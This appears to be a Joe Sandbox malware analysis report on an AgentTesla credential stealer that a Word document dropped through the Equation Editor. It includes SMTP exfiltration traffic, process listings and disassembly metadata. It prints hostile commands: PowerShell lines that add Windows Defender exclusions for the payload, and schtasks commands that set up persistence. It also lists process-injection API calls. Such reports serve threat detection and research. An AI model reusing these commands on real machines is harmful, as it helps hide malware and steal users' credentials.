Apr 18, 2024 10:24:49.441251040 CEST	587	49175	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:49.520809889 CEST	587	49176	208.91.199.225	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:49.521007061 CEST	49176	587	192.168.2.22	208.91.199.225	EHLO 216041
Apr 18, 2024 10:24:49.674693108 CEST	587	49176	208.91.199.225	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:49.674873114 CEST	49176	587	192.168.2.22	208.91.199.225	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:49.832007885 CEST	587	49176	208.91.199.225	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:51.550415039 CEST	587	49176	208.91.199.225	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:51.550457954 CEST	587	49175	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:51.556792021 CEST	49176	587	192.168.2.22	208.91.199.225	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:51.556878090 CEST	49175	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:51.712093115 CEST	587	49175	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:51.712389946 CEST	49175	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:51.713795900 CEST	587	49176	208.91.199.225	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:51.713893890 CEST	49176	587	192.168.2.22	208.91.199.225	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:51.884977102 CEST	587	49175	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:51.912970066 CEST	587	49176	208.91.199.225	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:55.832062006 CEST	49174	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:55.832112074 CEST	49173	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:24:55.986268044 CEST	587	49173	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:55.986320019 CEST	587	49174	208.91.198.143	192.168.2.22	221 2.0.0 Bye
Apr 18, 2024 10:24:56.303076982 CEST	587	49177	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 18, 2024 10:24:56.303210020 CEST	49177	587	192.168.2.22	208.91.198.143	EHLO 216041
Apr 18, 2024 10:24:56.457040071 CEST	587	49177	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 18, 2024 10:24:56.457195044 CEST	49177	587	192.168.2.22	208.91.198.143	AUTH login b3JpZ2luQGZzaHB4bS5jb20=
Apr 18, 2024 10:24:56.614689112 CEST	587	49177	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Apr 18, 2024 10:24:58.407046080 CEST	587	49177	208.91.198.143	192.168.2.22	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Apr 18, 2024 10:24:58.419975042 CEST	49177	587	192.168.2.22	208.91.198.143	MAIL FROM:<origin@fshpxm.com>
Apr 18, 2024 10:24:58.576431036 CEST	587	49177	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Apr 18, 2024 10:24:58.576741934 CEST	49177	587	192.168.2.22	208.91.198.143	RCPT TO:<origin@fshpxm.com>
Apr 18, 2024 10:24:58.748768091 CEST	587	49177	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:24:59.138678074 CEST	587	49177	208.91.198.143	192.168.2.22	554 5.7.1 <origin@fshpxm.com>: Relay access denied
Apr 18, 2024 10:25:06.310566902 CEST	49176	587	192.168.2.22	208.91.199.225	QUIT
Apr 18, 2024 10:25:06.310635090 CEST	49175	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:06.798082113 CEST	49175	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:06.828366041 CEST	49176	587	192.168.2.22	208.91.199.225	QUIT
Apr 18, 2024 10:25:07.405602932 CEST	49175	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:07.436676979 CEST	49176	587	192.168.2.22	208.91.199.225	QUIT
Apr 18, 2024 10:25:08.600235939 CEST	49175	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:08.637841940 CEST	49176	587	192.168.2.22	208.91.199.225	QUIT
Apr 18, 2024 10:25:09.260175943 CEST	49177	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:09.761081934 CEST	49177	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:10.385067940 CEST	49177	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:11.005409002 CEST	49175	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:11.040388107 CEST	49176	587	192.168.2.22	208.91.199.225	QUIT
Apr 18, 2024 10:25:11.633100033 CEST	49177	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:14.113569021 CEST	49177	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:15.798372030 CEST	49175	587	192.168.2.22	208.91.198.143	QUIT
Apr 18, 2024 10:25:15.845112085 CEST	49176	587	192.168.2.22	208.91.199.225	QUIT
Apr 18, 2024 10:25:19.074539900 CEST	49177	587	192.168.2.22	208.91.198.143	QUIT

Target ID:	0
Start time:	10:23:50
Start date:	18/04/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f550000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:23:50
Start date:	18/04/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:23:55
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\dzoihohj75439.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Imagebase:	0xa50000
File size:	722'440 bytes
MD5 hash:	60E4F25FA64A0EF31AC57663A26DA790
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs Detection: 63%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:23:55
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Imagebase:	0x12b0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:23:56
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Imagebase:	0x12b0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:23:56
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp"
Imagebase:	0x700000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:23:58
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\dzoihohj75439.scr
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Imagebase:	0xa50000
File size:	722'440 bytes
MD5 hash:	60E4F25FA64A0EF31AC57663A26DA790
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:23:58
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\dzoihohj75439.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Imagebase:	0xa50000
File size:	722'440 bytes
MD5 hash:	60E4F25FA64A0EF31AC57663A26DA790
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	10:23:58
Start date:	18/04/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {E15E873E-836C-4FC1-A12D-690BEBE78D2E} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	10:23:58
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\egFUHsL.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\egFUHsL.exe
Imagebase:	0xe90000
File size:	722'440 bytes
MD5 hash:	60E4F25FA64A0EF31AC57663A26DA790
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs Detection: 63%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:24:00
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Imagebase:	0x12f0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Analysis Process: powershell.exePID: 3976, Parent PID: 3884

General

Target ID:	17
Start time:	10:24:00
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Imagebase:	0x12f0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Analysis Process: schtasks.exePID: 4088, Parent PID: 3884

General

Target ID:	20
Start time:	10:24:02
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp9A3D.tmp"
Imagebase:	0x4f0000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:24:04
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\egFUHsL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\egFUHsL.exe"
Imagebase:	0xe90000
File size:	722'440 bytes
MD5 hash:	60E4F25FA64A0EF31AC57663A26DA790
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	10:24:17
Start date:	18/04/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	104
Total number of Limit Nodes:	4

Executed Functions

Function 001FBC78 Relevance: 2.9, Strings: 2, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X+i, xrefs: 001FC04F
X+i, xrefs: 001FC1B3

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID: X+i$X+i
API String ID: 0-2080308115
Opcode ID: 0b1e50d661979ef3533fe8eeaff5bf0c1add687e87431b9dfe1df5e645bde863
Instruction ID: d7ee00e3a321e2b2b8b3f3ba8edcbc6a98fcd10afd493c0d76be63bc8d4d9cd1
Opcode Fuzzy Hash: 0b1e50d661979ef3533fe8eeaff5bf0c1add687e87431b9dfe1df5e645bde863
Instruction Fuzzy Hash: 6BE18A31E0821CCFCB05CFA8C890AFEBBF5AF89304F15816AD619EB292D7349945DB51

Uniqueness

Uniqueness Score: -1.00%

Function 001F133D Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

$p, xrefs: 001F136A

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID: $p
API String ID: 0-1693848773
Opcode ID: e5cc2f239051fd06e0152cd1ee92dd4695480bafc35b6767a60f91a4a3f76486
Instruction ID: 4110de6fdba38b1c63b011a5f505b4ee1e7deb6a781e1aab8236759827937b83
Opcode Fuzzy Hash: e5cc2f239051fd06e0152cd1ee92dd4695480bafc35b6767a60f91a4a3f76486
Instruction Fuzzy Hash: 40E1273190C398DFCB16CFB4C8941F97BB0AF42310F5845ABD5959B693D3388A89DB52

Uniqueness

Uniqueness Score: -1.00%

Function 001F8DB0 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

Di, xrefs: 001F8DE0

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID: Di
API String ID: 0-1837014715
Opcode ID: 8e823a38389c398d0e1fda160192d532335c5d22b148f6d351761945cbde1035
Instruction ID: d0287679060cc41ffea5412470d2306bfc91bb67a402159fd5406c097ea77e5b
Opcode Fuzzy Hash: 8e823a38389c398d0e1fda160192d532335c5d22b148f6d351761945cbde1035
Instruction Fuzzy Hash: 37810531A08249CFCB15DFACC8906BABBB2FF85300F1545ABE256C7292DB34D945C711

Uniqueness

Uniqueness Score: -1.00%

Function 001F7040 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6372e6a2915c523e274b91cfbdcfdf78b268fc7a5a0b3c2b99e8de762a3c14d7
Instruction ID: 8e82f2ac6dca3cb3a1eaec9744e763393d25ada4c02ffabd38cefc17f09cd869
Opcode Fuzzy Hash: 6372e6a2915c523e274b91cfbdcfdf78b268fc7a5a0b3c2b99e8de762a3c14d7
Instruction Fuzzy Hash: 1B022E70D0C248CFDB15CFB8C8506B9BBB1AF46310F2986ABE651DB2E2D7349945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001FD0B8 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39e0133cdeb31b3d95a945e93f8148645abed565ec9e731fa6ab489cb6db765c
Instruction ID: 6fbdfc6328451edc6a134e52e528eff24c11e4d2aaa49471b43ef707d7123086
Opcode Fuzzy Hash: 39e0133cdeb31b3d95a945e93f8148645abed565ec9e731fa6ab489cb6db765c
Instruction Fuzzy Hash: A2F12470A08209CFD714DBB8E8507BEBBB2BF85300F25816BE655DB296C734D942C752

Uniqueness

Uniqueness Score: -1.00%

Function 001F788C Relevance: 6.8, Strings: 5, Instructions: 577COMMON

Download Yara Rule

Strings

f"p, xrefs: 001F79AB
f"p, xrefs: 001F7981
f"p, xrefs: 001F7975
f"p, xrefs: 001F8040
f"p, xrefs: 001F79EF

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID: f"p$ f"p$ f"p$ f"p$ f"p
API String ID: 0-1117118654
Opcode ID: ade79ab1b8a76c05eca3ebfd516e5470ad15617de814a79652476f411fbabc4d
Instruction ID: 3e3b7dbcb6b10fa2568b494b87ae57d7527ce13246cdfca2cf0ffb49973130b9
Opcode Fuzzy Hash: ade79ab1b8a76c05eca3ebfd516e5470ad15617de814a79652476f411fbabc4d
Instruction Fuzzy Hash: 4E22F331A0C248CFDB158FA8C8547BEBBA2AF41310F25466AE6169F3D5CF349D46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 009F6578 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 009F683F

Strings

[JD, xrefs: 009F65B3
[JD, xrefs: 009F65E2

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID: CreateProcess
String ID: [JD$[JD
API String ID: 963392458-1854464392
Opcode ID: 011baf5f666be8685115061e38d9bea25745641bc2e774ed659e03e4fafcf28e
Instruction ID: 3b541c8937454e0c796a409f762fd83401410901216b139370bae610eb39af9a
Opcode Fuzzy Hash: 011baf5f666be8685115061e38d9bea25745641bc2e774ed659e03e4fafcf28e
Instruction Fuzzy Hash: D7C10171D0022D8FEF24CFA4C845BEEBBB1BB49304F1491A9D919B7280DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001FB05D Relevance: 4.2, Strings: 3, Instructions: 451
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

~, xrefs: 001FAEAA
:, xrefs: 001FAF14
p!p, xrefs: 001FB15E

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID: :$p!p$~
API String ID: 0-320839381
Opcode ID: 3fe92c4e691831cffc86f90b90bee34d06acc0d979977e1a8e1a609e3e0c24a8
Instruction ID: 3cfc45814e29c433b3f9341bc218ab6f0c3669894765990fe06aebee8cfd5f6e
Opcode Fuzzy Hash: 3fe92c4e691831cffc86f90b90bee34d06acc0d979977e1a8e1a609e3e0c24a8
Instruction Fuzzy Hash: 6322B275900218DFDB65DFA4C984EA9BBB2FF48304F1580E5E609AB222D732ED91DF50

Uniqueness

Uniqueness Score: -1.00%

Function 001F7CBE Relevance: 4.0, Strings: 3, Instructions: 211COMMON

Download Yara Rule

Strings

f"p, xrefs: 001F8040
f"p, xrefs: 001F7E9E
f"p, xrefs: 001F7E8E

Memory Dump Source

Source File: 00000005.00000002.359743852.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1f0000_dzoihohj75439.jbxd

Similarity

API ID:
String ID: f"p$ f"p$ f"p
API String ID: 0-381425725
Opcode ID: a842050f22e3178b32817cc8a7605dea201797800351e69bfb30c66fa397b921
Instruction ID: dc61165d097ee5d6479cc5111b8ee012a1e9f76628377c49b603bb08abafad41
Opcode Fuzzy Hash: a842050f22e3178b32817cc8a7605dea201797800351e69bfb30c66fa397b921
Instruction Fuzzy Hash: 1C810231E0C29CCFDB298F64D854ABD7B72AF51300F66459AE601AB2D2CF309D46CB52

Uniqueness

Uniqueness Score: -1.00%

Function 009F61D8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 138
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 009F62B3

Strings

[JD, xrefs: 009F6202

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: [JD
API String ID: 3559483778-2777496782
Opcode ID: 927522229d9965d9b262114bea144d01a9787c7a631b8b8bf3a9d1e6846dede6
Instruction ID: e276f643ccaccfc953e9ff7cffb5228a67be01c5074a3d57da79645565536afc
Opcode Fuzzy Hash: 927522229d9965d9b262114bea144d01a9787c7a631b8b8bf3a9d1e6846dede6
Instruction Fuzzy Hash: 8651EEB5D012499FCF00CFA9D984AEEBBB1AB49314F24942AE515BB210D739AA06CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009F61E0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 009F62B3

Strings

[JD, xrefs: 009F6202

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: [JD
API String ID: 3559483778-2777496782
Opcode ID: 03bc1eec8048f0a6db2035c9a893d12b3874d24221cd5c0477e0fc25c84ce872
Instruction ID: bf693bef69e856f48279ddc207ef3835a411d99621d7bb099722b98346da7d9f
Opcode Fuzzy Hash: 03bc1eec8048f0a6db2035c9a893d12b3874d24221cd5c0477e0fc25c84ce872
Instruction Fuzzy Hash: 4541AAB4D01258DFCF00CFA9D984AEEBBF1BB49314F20942AE814B7210D778AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 009F6340 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 009F63F2

Strings

[JD, xrefs: 009F6362

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID: MemoryProcessRead
String ID: [JD
API String ID: 1726664587-2777496782
Opcode ID: 58615cd6dd30d56d140ffbe3b80670e815dc8660dad3edcecd29a7e545bdf962
Instruction ID: 3678cc2e7b23ea397941ddc37c4bca955a3c43db7bef460cd7e50a90a5672b59
Opcode Fuzzy Hash: 58615cd6dd30d56d140ffbe3b80670e815dc8660dad3edcecd29a7e545bdf962
Instruction Fuzzy Hash: 4041B9B8D00258DFCF00CFA9D884AEEFBB1BB49310F20942AE814B7210C774AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 009F60B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 009F6162

Strings

[JD, xrefs: 009F60D2

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID: AllocVirtual
String ID: [JD
API String ID: 4275171209-2777496782
Opcode ID: 45b676eeeb5c4f982cf68318546f3750440724473c5f53017a4750696c1238ad
Instruction ID: 82e1e91d419f2d23962fc5f4346b85a046e9c44144b6793f781541a7c4a0ddb2
Opcode Fuzzy Hash: 45b676eeeb5c4f982cf68318546f3750440724473c5f53017a4750696c1238ad
Instruction Fuzzy Hash: 384199B8E00259DFCF10CFA9D984AEEFBB1BB49310F20942AE814B7210D735A905CF55

Uniqueness

Uniqueness Score: -1.00%

Function 009F5F88 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 009F6037

Strings

[JD, xrefs: 009F5FA7

Memory Dump Source

Source File: 00000005.00000002.361089475.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9f0000_dzoihohj75439.jbxd

Similarity

API ID: ContextThreadWow64
String ID: [JD
API String ID: 983334009-2777496782
